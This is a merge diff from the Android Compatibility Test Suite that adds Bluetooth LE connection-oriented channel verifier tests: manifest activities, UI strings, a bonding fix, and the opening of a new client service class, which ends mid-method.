Merge "CTS test to verify work profile unlocks successfully"
diff --git a/CleanSpec.mk b/CleanSpec.mk
index a7121ad..7bb2bdf 100644
--- a/CleanSpec.mk
+++ b/CleanSpec.mk
@@ -47,6 +47,7 @@
$(call add-clean-step, rm -rf $(HOST_OUT_INTERMEDIATES)/EXECUTABLES/vm-tests-tf_intermediates)
$(call add-clean-step, rm -rf $(OUT_DIR)/host/common/obj/JAVA_LIBRARIES/cts-tradefed_intermediates/com/android/compatibility/SuiteInfo.java)
$(call add-clean-step, rm -rf $(HOST_OUT)/cts/android-cts/testcases/CtsUiHostTestCases*)
+$(call add-clean-step, rm -rf $(HOST_OUT)/cts_instant/android-cts_instant/testcases/CtsJobSchedulerTestCases*)
# ************************************************
# NEWER CLEAN STEPS MUST BE AT THE END OF THE LIST
diff --git a/apps/CtsVerifier/AndroidManifest.xml b/apps/CtsVerifier/AndroidManifest.xml
index 1f5e1c7..7b9039a 100644
--- a/apps/CtsVerifier/AndroidManifest.xml
+++ b/apps/CtsVerifier/AndroidManifest.xml
@@ -477,6 +477,11 @@
<!-- CTS Verifier BLE Server Encrypted Test Service -->
<service android:name=".bluetooth.BleEncryptedServerService" />
+ <!-- CTS Verifier BLE CoC Client Test Service -->
+ <service android:name=".bluetooth.BleCocClientService" />
+ <!-- CTS Verifier BLE CoC Server Test Service -->
+ <service android:name=".bluetooth.BleCocServerService" />
+
<!--
=================================================================================
== BLE Insecure Client Test Info ==
@@ -938,6 +943,234 @@
<!--
=================================================================================
+ == BLE CoC Insecure Client Test Info ==
+ =================================================================================
+ -->
+ <!--
+ CTS Verifier BLE CoC Insecure Client Test Top Screen
+ test category : bt_le_coc
+ test parent : BluetoothTestActivity
+ -->
+ <activity
+ android:name=".bluetooth.BleCocInsecureClientTestListActivity"
+ android:configChanges="keyboardHidden|orientation|screenSize"
+ android:label="@string/ble_coc_insecure_client_test_name" >
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+
+ <category android:name="android.cts.intent.category.MANUAL_TEST" />
+ </intent-filter>
+
+ <meta-data
+ android:name="test_category"
+ android:value="@string/bt_le_coc" />
+ <meta-data
+ android:name="test_parent"
+ android:value="com.android.cts.verifier.bluetooth.BluetoothTestActivity" />
+ <meta-data
+ android:name="test_required_features"
+ android:value="android.hardware.bluetooth_le" />
+ </activity>
+
+ <!--
+ CTS Verifier BLE CoC Insecure Client Test List Screen
+ test category : bt_le_coc
+ test parent : BleInsecureClientTestListActivity
+ -->
+ <activity
+ android:name=".bluetooth.BleCocInsecureClientStartActivity"
+ android:configChanges="keyboardHidden|orientation|screenSize"
+ android:label="@string/ble_coc_client_test_name" >
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+
+ <category android:name="android.cts.intent.category.MANUAL_TEST" />
+ </intent-filter>
+
+ <meta-data
+ android:name="test_category"
+ android:value="@string/bt_le_coc" />
+ <meta-data
+ android:name="test_parent"
+ android:value="com.android.cts.verifier.bluetooth.BleCocInsecureClientTestListActivity" />
+ <meta-data
+ android:name="test_required_features"
+ android:value="android.hardware.bluetooth_le" />
+ </activity>
+
+ <!--
+ =================================================================================
+ == BLE CoC Insecure Server Test Info ==
+ =================================================================================
+ -->
+ <!--
+ CTS Verifier BLE Coc Insecure Server Test Top Screen
+ test category : bt_le_coc
+ test parent : BluetoothTestActivity
+ -->
+ <activity
+ android:name=".bluetooth.BleCocInsecureServerTestListActivity"
+ android:configChanges="keyboardHidden|orientation|screenSize"
+ android:label="@string/ble_coc_insecure_server_test_name" >
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+
+ <category android:name="android.cts.intent.category.MANUAL_TEST" />
+ </intent-filter>
+
+ <meta-data
+ android:name="test_category"
+ android:value="@string/bt_le_coc" />
+ <meta-data
+ android:name="test_parent"
+ android:value="com.android.cts.verifier.bluetooth.BluetoothTestActivity" />
+ <meta-data
+ android:name="test_required_features"
+ android:value="android.hardware.bluetooth_le" />
+ </activity>
+
+ <!--
+ CTS Verifier BLE Coc Insecure Server Test List Screen
+ test category : bt_le_coc
+ test parent : BleCocInsecureServerTestListActivity
+ -->
+ <activity
+ android:name=".bluetooth.BleCocInsecureServerStartActivity"
+ android:configChanges="keyboardHidden|orientation|screenSize"
+ android:label="@string/ble_coc_server_start_name" >
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+
+ <category android:name="android.cts.intent.category.MANUAL_TEST" />
+ </intent-filter>
+
+ <meta-data
+ android:name="test_category"
+ android:value="@string/bt_le_coc" />
+ <meta-data
+ android:name="test_parent"
+ android:value="com.android.cts.verifier.bluetooth.BleCocInsecureServerTestListActivity" />
+ <meta-data
+ android:name="test_required_features"
+ android:value="android.hardware.bluetooth_le" />
+ </activity>
+
+ <!--
+ =================================================================================
+ == BLE CoC Secure Client Test Info ==
+ =================================================================================
+ -->
+ <!--
+ CTS Verifier BLE Coc Secure Client Test Top Screen
+ test category : bt_le_coc
+ test parent : BluetoothTestActivity
+ -->
+ <activity
+ android:name=".bluetooth.BleCocSecureClientTestListActivity"
+ android:configChanges="keyboardHidden|orientation|screenSize"
+ android:label="@string/ble_coc_secure_client_test_name" >
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+
+ <category android:name="android.cts.intent.category.MANUAL_TEST" />
+ </intent-filter>
+
+ <meta-data
+ android:name="test_category"
+ android:value="@string/bt_le_coc" />
+ <meta-data
+ android:name="test_parent"
+ android:value="com.android.cts.verifier.bluetooth.BluetoothTestActivity" />
+ <meta-data
+ android:name="test_required_features"
+ android:value="android.hardware.bluetooth_le" />
+ </activity>
+
+ <!--
+ CTS Verifier BLE Coc Secure Client Test List Screen
+ test category : bt_le_coc
+ test parent : BleSecureClientTestListActivity
+ -->
+ <activity
+ android:name=".bluetooth.BleCocSecureClientStartActivity"
+ android:configChanges="keyboardHidden|orientation|screenSize"
+ android:label="@string/ble_coc_client_test_name" >
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+
+ <category android:name="android.cts.intent.category.MANUAL_TEST" />
+ </intent-filter>
+
+ <meta-data
+ android:name="test_category"
+ android:value="@string/bt_le_coc" />
+ <meta-data
+ android:name="test_parent"
+ android:value="com.android.cts.verifier.bluetooth.BleCocSecureClientTestListActivity" />
+ <meta-data
+ android:name="test_required_features"
+ android:value="android.hardware.bluetooth_le" />
+ </activity>
+
+ <!--
+ =================================================================================
+ == BLE CoC Secure Server Test Info ==
+ =================================================================================
+ -->
+ <!--
+ CTS Verifier BLE Coc Secure Server Test Top Screen
+ test category : bt_le_coc
+ test parent : BluetoothTestActivity
+ -->
+ <activity
+ android:name=".bluetooth.BleCocSecureServerTestListActivity"
+ android:configChanges="keyboardHidden|orientation|screenSize"
+ android:label="@string/ble_coc_secure_server_test_name" >
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+
+ <category android:name="android.cts.intent.category.MANUAL_TEST" />
+ </intent-filter>
+
+ <meta-data
+ android:name="test_category"
+ android:value="@string/bt_le_coc" />
+ <meta-data
+ android:name="test_parent"
+ android:value="com.android.cts.verifier.bluetooth.BluetoothTestActivity" />
+ <meta-data
+ android:name="test_required_features"
+ android:value="android.hardware.bluetooth_le" />
+ </activity>
+
+ <!--
+ CTS Verifier BLE Coc Secure Server Test List Screen
+ test category : bt_le_coc
+ test parent : BleCocSecureServerTestListActivity
+ -->
+ <activity
+ android:name=".bluetooth.BleCocSecureServerStartActivity"
+ android:configChanges="keyboardHidden|orientation|screenSize"
+ android:label="@string/ble_coc_server_start_name" >
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+
+ <category android:name="android.cts.intent.category.MANUAL_TEST" />
+ </intent-filter>
+
+ <meta-data
+ android:name="test_category"
+ android:value="@string/bt_le_coc" />
+ <meta-data
+ android:name="test_parent"
+ android:value="com.android.cts.verifier.bluetooth.BleCocSecureServerTestListActivity" />
+ <meta-data
+ android:name="test_required_features"
+ android:value="android.hardware.bluetooth_le" />
+ </activity>
+
+ <!--
+ =================================================================================
== BLE Scanner Test Info ==
=================================================================================
-->
diff --git a/apps/CtsVerifier/res/values/strings.xml b/apps/CtsVerifier/res/values/strings.xml
index 97b499b..8978ff6 100755
--- a/apps/CtsVerifier/res/values/strings.xml
+++ b/apps/CtsVerifier/res/values/strings.xml
@@ -183,6 +183,10 @@
\n\n\"Bluetooth LE Insecure Server Test\" x \"Bluetooth LE Insecure Client Test\"
\n\n\"Bluetooth LE Secure Client Test\" x \"Bluetooth LE Secure Server Test\"
\n\n\"Bluetooth LE Secure Server Test\" x \"Bluetooth LE Secure Client Test\"
+ \n\n\"Bluetooth LE CoC Insecure Server Test\" x \"Bluetooth LE CoC Insecure Client Test\"
+ \n\n\"Bluetooth LE CoC Insecure Client Test\" x \"Bluetooth LE CoC Insecure Server Test\"
+ \n\n\"Bluetooth LE CoC Secure Server Test\" x \"Bluetooth LE CoC Secure Client Test\"
+ \n\n\"Bluetooth LE CoC Secure Client Test\" x \"Bluetooth LE CoC Secure Server Test\"
\n\nThe Device Communication tests require two
devices to pair and exchange messages. The two devices must be:
\n\n1. a candidate device implementation running the software build to be tested
@@ -193,6 +197,7 @@
<string name="bt_device_communication">Device Communication</string>
<string name="bt_le">Bluetooth LE</string>
<string name="bt_hid">Bluetooth HID</string>
+ <string name="bt_le_coc">Bluetooth LE CoC</string>
<string name="bt_toggle_bluetooth">Toggle Bluetooth</string>
<string name="bt_toggle_instructions">Disable and enable Bluetooth to successfully complete this test.</string>
@@ -201,6 +206,65 @@
<string name="bt_disabling">Disabling Bluetooth...</string>
<string name="bt_disabling_error">Could not disable Bluetooth...</string>
+ <string name="ble_coc_insecure_client_test_list_name">Bluetooth LE CoC Insecure Client Test</string>
+ <string name="ble_coc_insecure_client_test_list_info">
+ The Bluetooth LE CoC test must be done simultaneously on two devices. This device is the client.
+ All tests listed here must be done without pairing. Tap \"Bluetooth LE CoC Insecure Server Test\" on the other device.
+ \n\nTap \"01 Bluetooth LE CoC Client Test\" on this device, then tap \"01 Bluetooth LE CoC Server Test\" on the other device.
+ \nWhen the test is complete, move to the next item. You must complete all tests.
+ </string>
+ <string name="ble_coc_insecure_client_test_info">
+ The Bluetooth LE CoC test must be done simultaneously on two devices. This device is the client.
+ All tests listed here must be done without pairing.
+ </string>
+ <string name="ble_coc_insecure_server_test_list_name">Bluetooth LE CoC Insecure Server Test</string>
+ <string name="ble_coc_insecure_server_test_list_info">
+ This test is mostly automated, but requires some user interaction.
+ Once the list items below have check marks, the test is complete.
+ \n\nTap \"01 Bluetooth LE CoC Server Test\" on this device, then tap \"01 Bluetooth LE CoC Client Test\" on the other device.
+ \nWhen the test is complete, move to the next item. You must complete all tests.
+ </string>
+
+ <string name="ble_coc_secure_client_test_list_name">Bluetooth LE CoC Secure Client Test</string>
+ <string name="ble_coc_secure_client_test_list_info">
+ The Bluetooth LE CoC test must be done simultaneously on two devices. This device is the client.
+ All tests listed here must be done without pairing. Tap \"Bluetooth LE CoC Secure Server Test\" on the other device.
+ \n\nTap \"01 Bluetooth LE CoC Client Test\" on this device, then tap \"01 Bluetooth LE CoC Server Test\" on the other device.
+ \nWhen the test is complete, move to the next item. You must complete all tests.
+ </string>
+ <string name="ble_coc_secure_client_test_info">
+ The Bluetooth LE CoC test must be done simultaneously on two devices. This device is the client.
+ All tests listed here must be done without pairing.
+ </string>
+ <string name="ble_coc_secure_server_test_list_name">Bluetooth LE CoC Secure Server Test</string>
+ <string name="ble_coc_secure_server_test_list_info">
+ This test is mostly automated, but requires some user interaction.
+ Once the list items below have check marks, the test is complete.
+ \n\nTap \"01 Bluetooth LE CoC Server Test\" on this device, then tap \"01 Bluetooth LE CoC Client Test\" on the other device.
+ \nWhen the test is complete, move to the next item. You must complete all tests.
+ </string>
+
+ <!-- BLE CoC client side strings -->
+ <string name="ble_coc_client_test_name">01 Bluetooth LE CoC Client Test</string>
+ <string name="ble_coc_client_le_connect">Bluetooth LE Client Connect</string>
+ <string name="ble_coc_client_get_psm">Get peer PSM value</string>
+ <string name="ble_coc_client_coc_connect">LE CoC client Connect</string>
+ <string name="ble_coc_client_check_connection_type">Check connection type</string>
+ <string name="ble_coc_client_send_data_8bytes">Send 8 bytes</string>
+ <string name="ble_coc_client_receive_data_8bytes">Receive 8 bytes</string>
+ <string name="ble_coc_client_data_exchange">Send and receive large data buffer</string>
+
+ <!-- BLE CoC server side strings -->
+ <string name="ble_coc_server_start_name">01 Bluetooth LE CoC Server Test</string>
+ <string name="ble_coc_server_le_connect">Bluetooth LE Server Connect</string>
+ <string name="ble_coc_server_create_listener">Create LE CoC listener</string>
+ <string name="ble_coc_server_psm_read">Waiting on PSM to be read</string>
+ <string name="ble_coc_server_connection">Waiting on LE CoC connection</string>
+ <string name="ble_coc_server_check_connection_type">Check connection type</string>
+ <string name="ble_coc_server_receive_data_8bytes">Waiting to receive 8 bytes</string>
+ <string name="ble_coc_server_send_data_8bytes">Sending 8 bytes</string>
+ <string name="ble_coc_server_data_exchange">Send and receive large data buffer</string>
+
<string name="bt_connection_access_server">Connection Access Server</string>
<string name="bt_connection_access_client">Connection Access Client</string>
<string name="bt_connection_access_server_info">
@@ -456,6 +520,11 @@
<string name="ble_secure_server_test_name">Bluetooth LE Secure Server Test</string>
<string name="ble_insecure_server_test_name">Bluetooth LE Insecure Server Test</string>
+ <string name="ble_coc_secure_client_test_name">Bluetooth LE CoC Secure Client Test</string>
+ <string name="ble_coc_insecure_client_test_name">Bluetooth LE CoC Insecure Client Test</string>
+ <string name="ble_coc_secure_server_test_name">Bluetooth LE CoC Secure Server Test</string>
+ <string name="ble_coc_insecure_server_test_name">Bluetooth LE CoC Insecure Server Test</string>
+
<string name="ble_read_characteristic_nopermission_name">Bluetooth LE Read Characteristic Without Perrmission</string>
<string name="ble_write_characteristic_nopermission_name">Bluetooth LE Write Characteristic Without Permission</string>
<string name="ble_read_descriptor_nopermission_name">Bluetooth LE Read Descriptor Without Perrmission</string>
@@ -2691,7 +2760,7 @@
<string name="negative_device_owner">No Device Owner Tests</string>
<string name="device_owner_negative_category">No Device Owner Tests</string>
<string name="device_owner_provisioning_negative">Device owner provisioning</string>
- <string name="device_owner_provisioning_negative_info">The device owner provisioning test verifies that setting up a corporate owned device can only be done on a factory reset device.\n\nPlease click the "Start provisioning" button, and when you see a warning dialog telling the device can\'t be set up, select "pass". Otherwise, select "fail".</string>
+ <string name="device_owner_provisioning_negative_info">The device owner provisioning test verifies that setting up a corporate owned device can only be done on a factory reset device.\n\nPlease click the "Start provisioning" button, and when you see a warning dialog telling the device is already set up, select "pass". Otherwise, select "fail".</string>
<string name="start_device_owner_provisioning_button">Start provisioning</string>
<string name="enterprise_privacy_quick_settings_negative">Quick settings disclosure</string>
<string name="enterprise_privacy_quick_settings_negative_info">
@@ -2976,8 +3045,8 @@
<string name="device_owner_disallow_usb_file_transfer_test_info">
Please press below button to set the \"disallow USB file transfer\" restriction.\n
If a USB notification appears, open the notification and check that the
- \"Transfer files (MTP)\" and \"Transfer photos (PTP)\" cannot be selected and trigger a
- support message when trying to select them.\n
+ \"Transfer files (MTP)\" and \"Transfer photos (PTP)\" options either are not displayed,
+ or they trigger a support message when trying to select them.\n
Check if you can mount the device as a USB drive on your desktop computer. The test is
successful if you cannot mount the device, and files from your phone cannot be
downloaded through USB.\n
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientService.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientService.java
index 28d08cd..1fd6a2b 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientService.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientService.java
@@ -1292,7 +1292,15 @@
int state = intent.getIntExtra(BluetoothDevice.EXTRA_BOND_STATE, BluetoothDevice.BOND_NONE);
switch (state) {
case BluetoothDevice.BOND_BONDED:
- mBluetoothGatt = connectGatt(device, mContext, false, mSecure, mGattCallbacks);
+ if ((mBluetoothGatt == null) &&
+ (device.getType() != BluetoothDevice.DEVICE_TYPE_CLASSIC)) {
+ if (DEBUG) {
+ Log.d(TAG, "onReceive:BOND_BONDED: calling connectGatt device="
+ + device + ", mSecure=" + mSecure);
+ }
+ mBluetoothGatt = connectGatt(device, mContext, false, mSecure,
+ mGattCallbacks);
+ }
break;
case BluetoothDevice.BOND_NONE:
notifyError("Failed to create bond.");
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocClientService.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocClientService.java
new file mode 100644
index 0000000..183cebd
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocClientService.java
@@ -0,0 +1,725 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.bluetooth;
+
+import java.util.Arrays;
+import java.util.List;
+import java.util.Set;
+import java.util.UUID;
+
+import java.io.ByteArrayOutputStream;
+
+import com.android.cts.verifier.R;
+
+import android.app.Service;
+import android.bluetooth.BluetoothAdapter;
+import android.bluetooth.BluetoothDevice;
+import android.bluetooth.BluetoothGatt;
+import android.bluetooth.BluetoothGattCallback;
+import android.bluetooth.BluetoothGattCharacteristic;
+import android.bluetooth.BluetoothGattDescriptor;
+import android.bluetooth.BluetoothGattService;
+import android.bluetooth.BluetoothManager;
+import android.bluetooth.BluetoothProfile;
+import android.bluetooth.BluetoothSocket;
+import android.bluetooth.le.BluetoothLeScanner;
+import android.bluetooth.le.ScanCallback;
+import android.bluetooth.le.ScanFilter;
+import android.bluetooth.le.ScanResult;
+import android.bluetooth.le.ScanSettings;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.os.Build;
+import android.os.Handler;
+import android.os.IBinder;
+import android.os.Message;
+import android.os.ParcelUuid;
+import android.text.TextUtils;
+import android.util.Log;
+import android.widget.Toast;
+
+public class BleCocClientService extends Service {
+
+ public static final boolean DEBUG = true;
+ public static final String TAG = "BleCocClientService";
+
+ private static final int TRANSPORT_MODE_FOR_SECURE_CONNECTION = BluetoothDevice.TRANSPORT_LE;
+
+ public static final String BLE_LE_CONNECTED =
+ "com.android.cts.verifier.bluetooth.BLE_LE_CONNECTED";
+ public static final String BLE_GOT_PSM =
+ "com.android.cts.verifier.bluetooth.BLE_GOT_PSM";
+ public static final String BLE_COC_CONNECTED =
+ "com.android.cts.verifier.bluetooth.BLE_COC_CONNECTED";
+ public static final String BLE_CONNECTION_TYPE_CHECKED =
+ "com.android.cts.verifier.bluetooth.BLE_CONNECTION_TYPE_CHECKED";
+ public static final String BLE_DATA_8BYTES_SENT =
+ "com.android.cts.verifier.bluetooth.BLE_DATA_8BYTES_SENT";
+ public static final String BLE_DATA_8BYTES_READ =
+ "com.android.cts.verifier.bluetooth.BLE_DATA_8BYTES_READ";
+ public static final String BLE_DATA_LARGEBUF_READ =
+ "com.android.cts.verifier.bluetooth.BLE_DATA_LARGEBUF_READ";
+ public static final String BLE_LE_DISCONNECTED =
+ "com.android.cts.verifier.bluetooth.BLE_LE_DISCONNECTED";
+
+ public static final String BLE_BLUETOOTH_MISMATCH_SECURE =
+ "com.android.cts.verifier.bluetooth.BLE_BLUETOOTH_MISMATCH_SECURE";
+ public static final String BLE_BLUETOOTH_MISMATCH_INSECURE =
+ "com.android.cts.verifier.bluetooth.BLE_BLUETOOTH_MISMATCH_INSECURE";
+ public static final String BLE_BLUETOOTH_DISABLED =
+ "com.android.cts.verifier.bluetooth.BLE_BLUETOOTH_DISABLED";
+ public static final String BLE_GATT_CONNECTED =
+ "com.android.cts.verifier.bluetooth.BLE_GATT_CONNECTED";
+ public static final String BLE_BLUETOOTH_DISCONNECTED =
+ "com.android.cts.verifier.bluetooth.BLE_BLUETOOTH_DISCONNECTED";
+ public static final String BLE_CLIENT_ERROR =
+ "com.android.cts.verifier.bluetooth.BLE_CLIENT_ERROR";
+ public static final String EXTRA_COMMAND =
+ "com.android.cts.verifier.bluetooth.EXTRA_COMMAND";
+ public static final String EXTRA_WRITE_VALUE =
+ "com.android.cts.verifier.bluetooth.EXTRA_WRITE_VALUE";
+ public static final String EXTRA_BOOL =
+ "com.android.cts.verifier.bluetooth.EXTRA_BOOL";
+
+ // Literal for Client Action
+ public static final String BLE_COC_CLIENT_ACTION_LE_INSECURE_CONNECT =
+ "com.android.cts.verifier.bluetooth.BLE_COC_CLIENT_ACTION_LE_INSECURE_CONNECT";
+ public static final String BLE_COC_CLIENT_ACTION_LE_SECURE_CONNECT =
+ "com.android.cts.verifier.bluetooth.BLE_COC_CLIENT_ACTION_LE_SECURE_CONNECT";
+ public static final String BLE_COC_CLIENT_ACTION_GET_PSM =
+ "com.android.cts.verifier.bluetooth.BLE_COC_CLIENT_ACTION_GET_PSM";
+ public static final String BLE_COC_CLIENT_ACTION_COC_CLIENT_CONNECT =
+ "com.android.cts.verifier.bluetooth.BLE_COC_CLIENT_ACTION_COC_CLIENT_CONNECT";
+ public static final String BLE_COC_CLIENT_ACTION_CHECK_CONNECTION_TYPE =
+ "com.android.cts.verifier.bluetooth.BLE_COC_CLIENT_ACTION_CHECK_CONNECTION_TYPE";
+ public static final String BLE_COC_CLIENT_ACTION_SEND_DATA_8BYTES =
+ "com.android.cts.verifier.bluetooth.BLE_COC_CLIENT_ACTION_SEND_DATA_8BYTES";
+ public static final String BLE_COC_CLIENT_ACTION_READ_DATA_8BYTES =
+ "com.android.cts.verifier.bluetooth.BLE_COC_CLIENT_ACTION_READ_DATA_8BYTES";
+ public static final String BLE_COC_CLIENT_ACTION_EXCHANGE_DATA =
+ "com.android.cts.verifier.bluetooth.BLE_COC_CLIENT_ACTION_EXCHANGE_DATA";
+ public static final String BLE_COC_CLIENT_ACTION_CLIENT_CONNECT =
+ "com.android.cts.verifier.bluetooth.BLE_COC_CLIENT_ACTION_CLIENT_CONNECT";
+ public static final String BLE_COC_CLIENT_ACTION_CLIENT_CONNECT_SECURE =
+ "com.android.cts.verifier.bluetooth.BLE_COC_CLIENT_ACTION_CLIENT_CONNECT_SECURE";
+ public static final String BLE_CLIENT_ACTION_CLIENT_DISCONNECT =
+ "com.android.cts.verifier.bluetooth.BLE_CLIENT_ACTION_CLIENT_DISCONNECT";
+
+ private static final UUID SERVICE_UUID =
+ UUID.fromString("00009999-0000-1000-8000-00805f9b34fb");
+
+ /**
+ * UUID of the GATT Read Characteristics for LE_PSM value.
+ */
+ public static final UUID LE_PSM_CHARACTERISTIC_UUID =
+ UUID.fromString("2d410339-82b6-42aa-b34e-e2e01df8cc1a");
+
+ public static final String WRITE_VALUE = "CLIENT_TEST";
+ private static final String NOTIFY_VALUE = "NOTIFY_TEST";
+ private int mBleState = BluetoothProfile.STATE_DISCONNECTED;
+ private static final int EXECUTION_DELAY = 1500;
+
+ // current test category
+ private String mCurrentAction;
+
+ private BluetoothManager mBluetoothManager;
+ private BluetoothAdapter mBluetoothAdapter;
+ private BluetoothDevice mDevice;
+ private BluetoothGatt mBluetoothGatt;
+ private BluetoothLeScanner mScanner;
+ private Handler mHandler;
+ private boolean mSecure;
+ private boolean mValidityService;
+ private int mPsm;
+ private BluetoothChatService mChatService;
+ private int mNextReadExpectedLen = -1;
+ private String mNextReadCompletionIntent;
+ private int mTotalReadLen = 0;
+ private byte mNextReadByte;
+ private int mNextWriteExpectedLen = -1;
+ private String mNextWriteCompletionIntent = null;
+
+ // Handler for communicating task with peer.
+ private TestTaskQueue mTaskQueue;
+
+ @Override
+ public void onCreate() {
+ super.onCreate();
+
+ registerReceiver(mBondStatusReceiver,
+ new IntentFilter(BluetoothDevice.ACTION_BOND_STATE_CHANGED));
+
+ mBluetoothManager = (BluetoothManager) getSystemService(Context.BLUETOOTH_SERVICE);
+ mBluetoothAdapter = mBluetoothManager.getAdapter();
+ mScanner = mBluetoothAdapter.getBluetoothLeScanner();
+ mHandler = new Handler();
+
+ mTaskQueue = new TestTaskQueue(getClass().getName() + "_taskHandlerThread");
+ }
+
+ @Override
+ public int onStartCommand(final Intent intent, int flags, int startId) {
+ if (!mBluetoothAdapter.isEnabled()) {
+ notifyBluetoothDisabled();
+ } else {
+ mTaskQueue.addTask(new Runnable() {
+ @Override
+ public void run() {
+ onTestFinish(intent.getAction());
+ }
+ }, EXECUTION_DELAY);
+ }
+ return START_NOT_STICKY;
+ }
+
+ private void onTestFinish(String action) {
+ mCurrentAction = action;
+ if (mCurrentAction != null) {
+ switch (mCurrentAction) {
+ case BLE_COC_CLIENT_ACTION_LE_INSECURE_CONNECT:
+ mSecure = false;
+ startScan();
+ break;
+ case BLE_COC_CLIENT_ACTION_LE_SECURE_CONNECT:
+ mSecure = true;
+ startScan();
+ break;
+ case BLE_COC_CLIENT_ACTION_GET_PSM:
+ startLeDiscovery();
+ break;
+ case BLE_COC_CLIENT_ACTION_COC_CLIENT_CONNECT:
+ leCocClientConnect();
+ break;
+ case BLE_COC_CLIENT_ACTION_CHECK_CONNECTION_TYPE:
+ leCheckConnectionType();
+ break;
+ case BLE_COC_CLIENT_ACTION_SEND_DATA_8BYTES:
+ sendData8bytes();
+ break;
+ case BLE_COC_CLIENT_ACTION_READ_DATA_8BYTES:
+ readData8bytes();
+ break;
+ case BLE_COC_CLIENT_ACTION_EXCHANGE_DATA:
+ sendDataLargeBuf();
+ readDataLargeBuf();
+ break;
+ case BLE_CLIENT_ACTION_CLIENT_DISCONNECT:
+ if (mBluetoothGatt != null) {
+ mBluetoothGatt.disconnect();
+ }
+ if (mChatService != null) {
+ mChatService.stop();
+ }
+ break;
+ default:
+ Log.e(TAG, "Error: Unhandled or invalid action=" + mCurrentAction);
+ }
+ }
+ }
+
+ @Override
+ public IBinder onBind(Intent intent) {
+ return null;
+ }
+
+ @Override
+ public void onDestroy() {
+ super.onDestroy();
+ if (mBluetoothGatt != null) {
+ mBluetoothGatt.disconnect();
+ mBluetoothGatt.close();
+ mBluetoothGatt = null;
+ }
+ stopScan();
+ unregisterReceiver(mBondStatusReceiver);
+
+ if (mChatService != null) {
+ mChatService.stop();
+ }
+
+ mTaskQueue.quit();
+ }
+
+ public static BluetoothGatt connectGatt(BluetoothDevice device, Context context,
+ boolean autoConnect, boolean isSecure,
+ BluetoothGattCallback callback) {
+ if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
+ if (isSecure) {
+ if (TRANSPORT_MODE_FOR_SECURE_CONNECTION == BluetoothDevice.TRANSPORT_AUTO) {
+ Toast.makeText(context, "connectGatt(transport=AUTO)", Toast.LENGTH_SHORT)
+ .show();
+ } else {
+ Toast.makeText(context, "connectGatt(transport=LE)", Toast.LENGTH_SHORT).show();
+ }
+ return device.connectGatt(context, autoConnect, callback,
+ TRANSPORT_MODE_FOR_SECURE_CONNECTION);
+ } else {
+ Toast.makeText(context, "connectGatt(transport=LE)", Toast.LENGTH_SHORT).show();
+ return device.connectGatt(context, autoConnect, callback,
+ BluetoothDevice.TRANSPORT_LE);
+ }
+ } else {
+ Toast.makeText(context, "connectGatt", Toast.LENGTH_SHORT).show();
+ return device.connectGatt(context, autoConnect, callback);
+ }
+ }
+
+ private void readCharacteristic(UUID uuid) {
+ BluetoothGattCharacteristic characteristic = getCharacteristic(uuid);
+ if (characteristic != null) {
+ mBluetoothGatt.readCharacteristic(characteristic);
+ }
+ }
+
+ private void notifyError(String message) {
+ showMessage(message);
+ Log.e(TAG, message);
+
+ Intent intent = new Intent(BLE_CLIENT_ERROR);
+ sendBroadcast(intent);
+ }
+
+ private void notifyMismatchSecure() {
+ Intent intent = new Intent(BLE_BLUETOOTH_MISMATCH_SECURE);
+ sendBroadcast(intent);
+ }
+
+ private void notifyMismatchInsecure() {
+ Intent intent = new Intent(BLE_BLUETOOTH_MISMATCH_INSECURE);
+ sendBroadcast(intent);
+ }
+
+ private void notifyBluetoothDisabled() {
+ Intent intent = new Intent(BLE_BLUETOOTH_DISABLED);
+ sendBroadcast(intent);
+ }
+
+ private void notifyConnected() {
+ showMessage("Bluetooth LE GATT connected");
+ Intent intent = new Intent(BLE_LE_CONNECTED);
+ sendBroadcast(intent);
+ }
+
+ private void startLeDiscovery() {
+ // Start Service Discovery
+ if (mBluetoothGatt != null && mBleState == BluetoothProfile.STATE_CONNECTED) {
+ mBluetoothGatt.discoverServices();
+ } else {
+ showMessage("Bluetooth LE GATT not connected.");
+ }
+ }
+
+ private void notifyDisconnected() {
+ showMessage("Bluetooth LE disconnected");
+ Intent intent = new Intent(BLE_BLUETOOTH_DISCONNECTED);
+ sendBroadcast(intent);
+ }
+
+ private void notifyServicesDiscovered() {
+ showMessage("Service discovered");
+ // Find the LE_COC_PSM characteristics
+ if (DEBUG) {
+ Log.d(TAG, "notifyServicesDiscovered: Next step is to read the PSM char.");
+ }
+ readCharacteristic(LE_PSM_CHARACTERISTIC_UUID);
+ }
+
+ private BluetoothGattService getService() {
+ BluetoothGattService service = null;
+
+ if (mBluetoothGatt != null) {
+ service = mBluetoothGatt.getService(SERVICE_UUID);
+ if (service == null) {
+ showMessage("GATT Service not found");
+ }
+ }
+ return service;
+ }
+
+ private BluetoothGattCharacteristic getCharacteristic(UUID uuid) {
+ BluetoothGattCharacteristic characteristic = null;
+
+ BluetoothGattService service = getService();
+ if (service != null) {
+ characteristic = service.getCharacteristic(uuid);
